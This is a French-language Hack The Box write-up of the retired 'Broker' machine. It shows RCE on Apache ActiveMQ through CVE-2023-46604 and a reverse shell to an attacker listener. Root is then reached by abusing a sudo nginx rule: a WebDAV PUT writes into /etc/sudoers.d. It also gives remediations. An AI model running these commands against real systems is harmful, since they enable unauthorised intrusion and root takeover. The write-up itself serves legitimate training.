Linux Easy
Broker : ActiveMQ OpenWire RCE (CVE-2023-46604) puis sudo nginx
RCE sur Apache ActiveMQ via OpenWire (CVE-2023-46604), puis élévation vers root en abusant d'une règle sudo NOPASSWD sur nginx pour écrire dans /etc/sudoers.d.
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Scan nmap : SSH et un nginx qui redirige vers une authentification Basic realm
ActiveMQRealm. - Identifiants par défaut
admin:adminsur le panel ActiveMQ, qui confirme la présence du service et de son port OpenWire (61616). - Exploitation de CVE-2023-46604 (désérialisation OpenWire) pour obtenir un reverse shell en tant que
activemq. sudo -lrévèle une règle NOPASSWD sur/usr/sbin/nginx: abus via GTFOBins pour monter un serveur nginx root avec WebDAV PUT activé.- Écriture arbitraire dans
/etc/sudoers.d/pour se donner un sudo NOPASSWD complet, puissudo su -vers root.
Reconnaissance
nmap -sVC -T4 10.129.230.87PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelSeuls deux ports ressortent du scan top 1000. Le port 80 ne répond que par un 401, mais le realm ActiveMQRealm est explicite : c'est la console web d'Apache ActiveMQ, remontée derrière nginx.
Énumération
La console ActiveMQ expose classiquement son port OpenWire sur 61616 en plus de l'interface web. Avant même de le scanner, l'identifiant de realm suffit à orienter vers ce service et sa CVE la plus connue.
curl -u admin:admin http://10.129.230.87/Les identifiants par défaut admin:admin fonctionnent et donnent accès au panel d'administration ActiveMQ, confirmant la version du service (Apache ActiveMQ 5.15.15) et la présence du port OpenWire 61616, qui est le vecteur réellement exploité ensuite.
Foothold
Apache ActiveMQ 5.15.15 est vulnérable à CVE-2023-46604 : le protocole OpenWire désérialise un message en instanciant n'importe quelle classe avec n'importe quel constructeur, ce qui permet d'exécuter une commande arbitraire côté serveur via un fichier XML Spring malveillant.
Le PoC public de vulhub fonctionne mais ne fait qu'exécuter une commande ponctuelle, sans shell interactif. Un PoC avec reverse shell intégré a été nécessaire :
python3 -m http.server 808010.129.230.87 - - [21/Oct/2026 14:19:52] "GET /poc.xml HTTP/1.1" 200 -nc -lvnp 4444python3 poc.py 10.129.230.87 61616 http://10.10.14.84:8080/poc.xmlNcat: Connection from 10.129.230.87:52724.
bash: cannot set terminal process group (878): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$Shell obtenu en tant que activemq.
cd /home/activemq
cat user.txtHTB{REDACTED}Élévation vers root
id; sudo -luid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginxactivemq peut lancer nginx en root sans mot de passe, et donc avec n'importe quel fichier de configuration. GTFOBins référence ce vecteur (gtfobins.org/gtfobins/nginx) : la méthode « Upload » consiste à démarrer un nginx root qui écoute en local avec WebDAV (dav_methods PUT) activé sur la racine /, pour écrire n'importe quel fichier du système via une simple requête PUT.
cat >/tmp/root.conf <<'EOF'
user root;
worker_processes 1;
pid /tmp/ngx.pid;
events {}
http {
client_body_temp_path /tmp;
server {
listen 127.0.0.1:8888;
root /;
dav_methods PUT;
create_full_put_path on;
}
}
EOF
sudo nginx -c /tmp/root.confCe nginx root écoute uniquement en local sur le port 8888, avec tout le système de fichiers en racine et PUT activé. Il ne reste qu'à écrire une règle sudo permissive pour soi-même :
curl -s -X PUT http://127.0.0.1:8888/etc/sudoers.d/pwn --data-binary 'activemq ALL=(ALL) NOPASSWD: ALL'sudo -lUser activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: ALLsudo su -
cat /root/root.txtHTB{REDACTED}Findings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | Apache ActiveMQ 5.15.15 vulnérable à CVE-2023-46604 (RCE non authentifiée via OpenWire) | Critique | Mettre à jour ActiveMQ vers une version corrigée (5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 ou supérieure) |
| F2 | Identifiants par défaut admin:admin sur la console ActiveMQ | Élevée | Changer les identifiants par défaut et restreindre l'accès réseau à la console |
| F3 | Règle sudo NOPASSWD: /usr/sbin/nginx permettant de charger une configuration arbitraire | Élevée | Retirer ce droit sudo, ou le restreindre à un fichier de configuration fixe non modifiable par l'utilisateur |
Leçons apprises
Le PoC public (vulhub) de CVE-2023-46604 ne fournit qu'une exécution de commande ponctuelle, insuffisante pour une exploitation confortable : il a fallu l'adapter pour intégrer un reverse shell directement dans le poc.xml, publié séparément sur GitHub.
Côté privesc, retenir le réflexe GTFOBins dès qu'un sudo NOPASSWD porte sur un binaire qui accepte un fichier de configuration arbitraire (nginx, mais aussi apache, tar, etc.) : la méthode « Upload » de nginx via WebDAV PUT est une primitive d'écriture de fichier arbitraire en root particulièrement directe.